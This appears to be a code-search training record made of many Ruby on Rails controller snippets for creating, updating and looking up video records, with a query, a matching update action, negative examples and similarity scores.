"def video_params\n params.require(:video).permit(:titulo, :palestrante_id, :agenda_id, :descricao, :source, :youtube, :published, :tags, :podcast_stream_url, :podcast_duration)\n end",
"def create\n @video = Video.new(video_params)\n @video.relateds.build\n @video.resources.build\n # obtain video metadata using the Wistia API\n Rails.logger.info(\"obtaining metadata from Wistia API for #{@video.wistia}\")\n media = Wistia::Media.find(@video.wistia)\n @video.title = media.name\n @video.description = ActionController::Base.helpers.strip_tags(media.description)\n @video.duration = (media.duration.to_i / 60) % 60\n @video.thumbnail_url = media.thumbnail.url\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to videos_path, notice: 'Created video listing.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n params[:video][:fecha] = DateTime.strptime(params[:video][:fecha], \"%Y-%m-%d %H:%M:%S UTC\")\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n\t\t\t@v_id = Video.maximum(:id)\n params[:parts].each do |part|\n\t\t\t\tpart[:id_video] = @v_id\n @p = Participante.new(participante_params(part))\n if !@p.save\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n format.html { redirect_to @video, notice: 'El video se ha registrado con éxito en el catálogo.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(video_params)\n if @video.save\n redirect_to @video, notice: \"Video was successfully created.\"\n else\n render :new\n end\n end",
"def video_params\n params.require(:video).permit(:urlID, :order, :description, :title, :curriculum_id)\n end",
"def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to video_show_path(@video.category, @video), notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: video_show_path(@video.category, @video) }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(params[:video])\n\n respond_to do |format|\n if @video.save\n flash[:notice] = 'Video was successfully created.'\n format.html { redirect_to(@video) }\n format.xml { render :xml => @video, :status => :created, :location => @video }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def index\n #@videos = Video.all\n Video.delete_database_and_files_on_server\n @video = Video.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @videos }\n end\n end",
"def videos_params\n params.require(:video).permit(:title, :author, :year, :duration, :video_url, :image_url, :is_winner, :is_entrant, :is_other, :id_for_app)\n end",
"def create\n @table_video = TableVideo.new(table_video_params)\n\n respond_to do |format|\n if @table_video.save\n format.html { redirect_to @table_video, notice: 'Table video was successfully created.' }\n format.json { render :show, status: :created, location: @table_video }\n else\n format.html { render :new }\n format.json { render json: @table_video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def video_params\n params.require(:video).permit(:title, :description, :yt_video_id, :is_complete)\n end",
"def video_params\n params.require(:video).permit(:name, :rating, :category, :subcategory, :language, :tags, :description, :uid, :status, :duration, :url_name, :tumbnail, :video)\n end",
"def video_params\n params.require(:video).permit(:video, :title, :subtitle, :description, :is_published, :is_showed_on_tv, :showed_date)\n end",
"def video_params\n params.require(:video).permit(:url, :item_id)\n end",
"def video_params\n params.require(:video).permit(:url, :item_id)\n end",
"def update\n @video.update(video_params)\n render json: @video\n end",
"def upload_video(new_attributes={})\n BlipTV::ApiSpec.check_attributes('videos.upload', new_attributes)\n\n new_attributes = {\n :post => \"1\",\n :item_type => \"file\",\n :skin => \"xmlhttprequest\",\n :file_role => \"Web\"\n }.merge(new_attributes) # blip.tv requires the \"post\" param to be set to 1\n\n request = BlipTV::Request.new(:post, 'videos.upload')\n request.run do |p|\n for param, value in new_attributes\n p.send(\"#{param}=\", value)\n end\n end\n\n BlipTV::Video.new(request.response['post_url'].to_s)\n end",
"def create\n @video = Video.new(params[:video])\n @video.user = current_user\n\n flash[:success] = 'Video has been uploaded and is being processed.' if @video.save\n respond_with(current_user,@video)\n end",
"def create\n #@videos = Video.where(:curriculum_id => params[:curriculum_id]))\n @video = Video.new(video_params)\n @video.curriculum_id = params[:curriculum_id]\n @curric = Curriculum.find(params[:curriculum_id])\n respond_to do |format|\n if @video.save\n format.html { redirect_to @curric, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n format.js\n\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n \n end",
"def create\n Video.transaction do\n @video = Video.new video_params\n # @video.data = { data: params[:video][:data] }\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully created.' }\n format.json { render :show, status: :created, location: @video }\n else\n format.html { render :new }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end\n # byebug\n\n end",
"def index\n @videos = Video.all\n render json: @videos\n end",
"def create\n @c_video = CVideo.new(params[:c_video])\n\n respond_to do |format|\n if @c_video.save\n format.html { redirect_to @c_video, notice: 'A new video was successfully created.' }\n format.json { render json: @c_video, status: :created, location: @c_video }\n else\n format.html { render action: \"new\" }\n format.json { render json: @c_video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @video = Video.new(video_params)\n\n respond_to do |format|\n\n if @video.save\n format.html {\n flash[:notice] = \"Vídeo criado!.\"\n redirect_to(:action => 'show', :id => @video.id, :palestrante_id => @palestrante.id)\n }\n format.json { \n render action: 'show', :palestrante_id => @palestrante.id, status: :created, location: @video\n }\n else\n format.html {\n @palestrantes = Palestrante.ordenados\n @agendas = Agenda.recentes\n render action: 'new'\n }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def video_params\n params.require(:video).permit(:title, :link, :published_at, \n :likes, :dislikes, :uid, :description, :view_count)\n end",
"def add_videos_to_album album_id, videos\n body = {}\n body['videos'] = videos if videos.is_a? String\n body['videos'] = videos.join(',') if videos.is_a? Array\n put(\"/albums/#{album_id}/videos\", body:body, code: 201)\n end",
"def video_params\n params.require(:video).permit(:url, :client_id)\n end",
"def create\n @video = Video.new(video_params.merge(:owner => current_user))\n @original = nil\n if (@video.errors[:video_exists])\n @original = Video.where(:external_id => @video.external_id, :type => @video.type).first\n end\n if @video.save\n render :json => @video, :include => ALL_INCLUDES\n else\n render :json => @video.errors, status: :unprocessable_entity\n end\n end",
"def video_params\n params.require(:video).permit()\n end",
"def video_params\n params.require(:video).permit()\n end",
"def video_params\n params.require(:video).permit(:title, :description, :length, :video_filename, :video_type)\n end",
"def create\n @video = @project.videos.build(params[:video])\n\n respond_to do |format|\n if @video.save\n if current_subdomain_user.facebook_user? && @video.facebook_upload\n ItemWorker.asynch_upload_video_to_facebook(:video_id => @video.id, :fb_session => facebook_session)\n end\n flash[:notice] = 'Video is being processed.'\n format.html { redirect_to(project_item_path(@project, @video, :subdomain => @user.subdomain)) }\n format.xml { render :xml => @video, :status => :created, :location => project_video_path(project, @video) }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def video_params\n params.require(:video).permit(:name, :description, :url, :scores)\n end",
"def create\n # This comment part specifies how to perform server side uploading\n # http://cloudinary.com/documentation/rails_video_upload#rails_video_upload_examples\n # http://cloudinary.com/documentation/upload_videos\n # http://cloudinary.com/documentation/video_management\n # http://cloudinary.com/documentation/rails_video_manipulation\n \n # video_public_id = \"video_#{SecureRandom.urlsafe_base64}\"\n # response = Cloudinary::Uploader.upload(params[:video][:target_file], :resource_type => :video, :public_id => video_public_id)\n # Cloudinary::Uploader.upload_large(params[:video][:target_file], :resource_type => :video, :public_id => \"my_folder/my_sub_folder/myvideo1\", :eager => [{:width => 300, :height => 300, :crop => :pad}], :eager_async => true, :eager_notification_url => \"http://c45a1454.ngrok.io/videos/transform_notification\")\n begin\n @active_page = \"videos\"\n if params[:id].blank?\n @video = Video.new(video_params)\n else\n @video = Video.find(params[:id])\n @video.update_attributes(video_params)\n end\n @video.save\n rescue Exception => e\n log_error(e, \"Error occured in Create action of VideosController\")\n flash_error(t('videos.create_page_error'))\n ensure\n redirect_to \"/videos\"\n end\n end"
] | [
"0.7559166",
"0.72561485",
"0.72147936",
"0.72094315",
"0.7070432",
"0.70647645",
"0.70605457",
"0.70605457",
"0.70605457",
"0.70605457",
"0.69911706",
"0.69875956",
"0.69875956",
"0.69875956",
"0.69875956",
"0.69875956",
"0.69389236",
"0.69220686",
"0.69220686",
"0.6870992",
"0.68684244",
"0.68430275",
"0.68370944",
"0.6816408",
"0.68134254",
"0.6798081",
"0.67921835",
"0.6789509",
"0.6772529",
"0.6760408",
"0.6708108",
"0.66844577",
"0.6682975",
"0.66635686",
"0.6629929",
"0.6613116",
"0.6607621",
"0.6592283",
"0.65757185",
"0.65725845",
"0.6568781",
"0.65679467",
"0.6566252",
"0.65580904",
"0.6553369",
"0.6547095",
"0.65162647",
"0.65071034",
"0.6503909",
"0.6503624",
"0.6503609",
"0.6503609",
"0.6503609",
"0.6503609",
"0.6503609",
"0.6503609",
"0.6503609",
"0.6503609",
"0.6503609",
"0.6503609",
"0.6496814",
"0.6495436",
"0.6495436",
"0.64948714",
"0.64832085",
"0.6482441",
"0.6481707",
"0.64654183",
"0.6459894",
"0.64581156",
"0.6452293",
"0.6444458",
"0.64394623",
"0.6438992",
"0.64351743",
"0.64279187",
"0.64166546",
"0.6407886",
"0.6398252",
"0.6388842",
"0.6379504",
"0.6379504",
"0.63715994",
"0.63700545",
"0.635884",
"0.6358406",
"0.6355771",
"0.6351969",
"0.63493764",
"0.6349152",
"0.6347183",
"0.63343096",
"0.6323096",
"0.6317543",
"0.63078177",
"0.63078177",
"0.6304081",
"0.6303506",
"0.6292723",
"0.6288132"
] | 0.6657436 | 34 |
PUT /videos/1 PUT /videos/1.json | def update
@video = Video.find(params[:id])
@licenses = License.all
@galleries = Gallery.all
respond_to do |format|
if @video.update_attributes(params[:video])
format.html { redirect_to @video, notice: 'Video was successfully updated.' }
format.json { head :no_content }
else
format.html { render action: "edit" }
format.json { render json: @video.errors, status: :unprocessable_entity }
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def update\n @video.update(video_params)\n render json: @video\n end",
"def update\n Video.find(params[:id]).update(video_params)\n redirect_to \"/videos/#{params[:id]}\"\n end",
"def edit_video(video_id, title, description, method = HTTP_PUT)\n request_xml = %{\n <?xml version=\"1.0\" encoding=\"UTF-8\"?>\n <vzaar-api>\n }\n request_xml += %{<_method>put</_method>} if method != HTTP_PUT\n request_xml += %{\n <video>\n <title>#{title}</title>\n <description>#{description}</description >\n </video>\n </vzaar-api>\n }\n auth_connection HTTP_PUT, \"/api/videos/#{video_id}.xml\", request_xml\n end",
"def update\n @video = Video.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @video = Video.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\n\n @project = Project.user_readable(current_user, params[:project_id])\n\n if @project\n\n @video = @project.videos.find(params[:id])\n\n if @video.update(params[:project_video])\n respond_to do |format|\n format.json { render :json => {:video_id => @video.id,\n :aws_videos_path => @video.videos_path}, :status => :ok }\n end\n\n else\n respond_to do |format|\n format.json { render json: @video.errors, status: :unprocessable_entity }\n #format.html { render action: \"edit\" }\n end\n end\n\n\n else\n not_authorized\n end\n\n\n\n\n\n end",
"def update\n @video = Video.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @video = Video.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @video = Video.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @video = Video.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @video = Video.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @video = Video.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @video = Video.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n # @video = Video.find(params[:id])\n @video = current_user.videos.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @video = Video.find(params[:id])\n @video.update_attributes\n\n respond_to do |format|\n if @video.save\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render json: @video, status: :created, location: @video }\n else\n format.html { redirect_to videos_path , alert: 'Video was not successfully updated.' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @video = @user.videos.find(params[:id])\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to user_videos_path(@user), notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n @video = Video.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @video.update_attributes(params[:video])\r\n format.html { redirect_to \"/videos?p=\" + @@ADMIN_PASS }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @video.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json {\n render json: { files: [@video.to_jq_upload], url: video_path(@video), message: \"Uploaded successfully.\" }, status: :created, location: @video\n }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @video = Video.find(params[:id])\n\n @video.actors = (params[:video].delete(:actors) || '').split(', ').collect { |name| name.strip!; Actor.find_or_create_by_name(:name => name) }\n @video.genres = (params[:video].delete(:genres) || '').split(', ').collect { |name| name.strip!; Genre.find_or_create_by_name(:name => name) }\n @video.directors = (params[:video].delete(:directors) || '').split(', ').collect { |name| name.strip!; Director.find_or_create_by_name(:name => name) }\n @video.update_attributes(params[:video])\n @video.save\n\n respond_to do |format|\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n end\n end",
"def update\n @video = @project.videos.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n flash[:notice] = 'Video was successfully updated.'\n format.html { redirect_to(project_item_path(@project, @video, :subdomain => @user.subdomain)) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to videos_path(), notice: 'Video atualizado com sucesso.' }\n format.json { render :index, status: :ok, location: @video }\n else\n format.html { redirect_to edit_video_path(@video), alert: 'Video não atualizado' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |wants|\n wants.json {\n result = {}\n video = Video.find_by_tag_id(params[:tid])\n if video\n if video.update_attributes(params[:video])\n result[:result] = \"ok\"\n render :json => result.to_json\n return\n else\n result[:result] = video.errors_full_messages\n end\n else\n result[:result] = \"不存在该视频\"\n end\n render :json => result.to_json, :status => 400\n }\n end\n end",
"def update\n @video = Video.find(params[:id])\n params[:video][:token] = token_from_link params[:video][:token]\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @video = Video.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to(@video, :notice => 'Video was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @video = Video.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to(@video, :notice => 'Video was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @video = Video.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n flash[:notice] = 'Video was successfully updated.'\n format.html { redirect_to(@video) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @video = Video.find(params[:id])\n\n respond_to do |format|\n if @video.update_attributes params[:video]\n format.html { redirect_to catnum_path(@video.catnum), notice: 'updated!' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video, notice: 'Vídeo atualizada com sucesso' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n @video = Video.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @video.update_attributes(params[:video])\r\n format.html { redirect_to(@video, :notice => 'Video was successfully updated.') }\r\n format.xml { head :ok }\r\n else\r\n format.html { render :action => \"edit\" }\r\n format.xml { render :xml => @video.errors, :status => :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to @video.competition, notice: 'Video modificado correctamente..' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if @video.update({:owner => current_user}.merge(video_params))\n render json: @video, :include => ALL_INCLUDES\n else\n render json: @video.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to home_admin_path, notice: '视频更新成功!' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params.merge({ project_id: @project.id }))\n format.html { redirect_to action: 'show', controller: 'videos', project_id: @project.id, id: @video.id, notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @video = Video.find_by_hash_permalink_id(params[:id])\n\n respond_to do |format|\n if @video.update_attributes(params[:video])\n format.html { redirect_to @video, notice: 'Video was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @saved_video.update(saved_video_params)\n format.html { redirect_to @saved_video, notice: 'Saved video was successfully updated.' }\n format.json { render :show, status: :ok, location: @saved_video }\n else\n format.html { render :edit }\n format.json { render json: @saved_video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_video\n @video = Video.find(params[:id])\n\n end",
"def update\n @user_video = UserVideo.find(params[:id])\n\n respond_to do |format|\n if @user_video.update_attributes(params[:user_video])\n format.html { redirect_to @user_video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @user_video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update(id, params = {})\n vimeo_video = Vimeo::Advanced::Video.new(@api_key, @api_secret, @token_hash)\n\n return unless id\n puts \"Vimeo: Updating #{id}\"\n\n vimeo_video.set_description(id, params[:description]) if params[:description]\n vimeo_video.set_title(id, params[:title]) if params[:title]\n vimeo_video.clear_tags(id) if params[:tags]\n vimeo_video.add_tags(id, params[:tags]) if params[:tags]\n rescue exception_block\n end",
"def update\n @video = Video.find(params[:id])\n\n flash[:success] = 'Video was successfully updated.' if @video.update_attributes(params[:video])\n respond_with(current_user,@video)\n end",
"def update\n respond_to do |format|\n if @jeux_video.update(jeux_video_params)\n @jeux_video.create_activity :update, owner: current_user, read: false\n format.html { redirect_to @jeux_video, notice: 'Jeux video was successfully updated.' }\n format.json { render :show, status: :ok, location: @jeux_video }\n else\n format.html { render :edit }\n format.json { render json: @jeux_video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @video = Video.find(params[:id])\n\tif @video.user == current_user or user_type == 'admin' or user_type == 'super_admin' \n\t\trespond_to do |format|\n\t\t if @video.update_attributes(params[:video])\n\t\t\tformat.html { redirect_to @video, :notice => 'Видео успешно обновлено' }\n\t\t\tformat.json { head :no_content }\n\t\t else\n\t\t\tformat.html { render :action => \"edit\" }\n\t\t\tformat.json { render :json => @video.errors, :status => :unprocessable_entity }\n\t\t end\n\t\tend\n\telse\n\t\tredirect_to '/404'\n\tend\n end",
"def set_video\n @video = Video.find(params[:id])\n end",
"def set_video\n @video = Video.find(params[:id])\n end",
"def set_video\n @video = Video.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to video_show_path(@video.category, @video), notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: video_show_path(@video.category, @video) }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n @publication = Publication.find_by_published_id_and_published_type(@video.id, 'Video')\n @publication.update(:content => @video.content + @video.name + @video.description + @video.tag_list.join(' '))\n format.html { redirect_to videos_path, notice: 'El video fue actualizado correctamente.' }\n format.json { head :no_content }\n else\n format.html { render action: 'list' }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n authorize! :update, @admin_video\n\n respond_to do |format|\n if @admin_video.update(admin_video_params)\n format.html { redirect_to @admin_video, notice: 'Video was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @admin_video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def edit\n authorize! :update, @videos\n @videos = Video.find_by(id: params[:id])\n end",
"def set_video\n \n @video = Video.find(params[:id])\n \n end",
"def update\n respond_to do |format|\n if @video.update(video_params)\n format.html { redirect_to board_video_path(@board, @video), notice: 'Video was successfully updated.' }\n format.json { render :show, status: :ok, location: @video }\n else\n format.html { render :edit }\n format.json { render json: @video.errors, status: :unprocessable_entity }\n end\n end\n end",
"def set_video\n @video = Video.find(params[:id])\n end",
"def set_video\n @video = Video.find(params[:id])\n end",
"def set_video\n @video = Video.find(params[:id])\n end",
"def set_video\n @video = Video.find(params[:id])\n end",
"def set_video\n @video = Video.find(params[:id])\n end",
"def set_video\n @video = Video.find(params[:id])\n end",
"def set_video\n @video = Video.find(params[:id])\n end",
"def set_video\n @video = Video.find(params[:id])\n end",
"def set_video\n @video = Video.find(params[:id])\n end",
"def set_video\n @video = Video.find(params[:id])\n end",
"def set_video\n @video = Video.find(params[:id])\n end",
"def set_video\n @video = Video.find(params[:id])\n end",
"def set_video\n @video = Video.find(params[:id])\n end",
"def set_video\n @video = Video.find(params[:id])\n end",
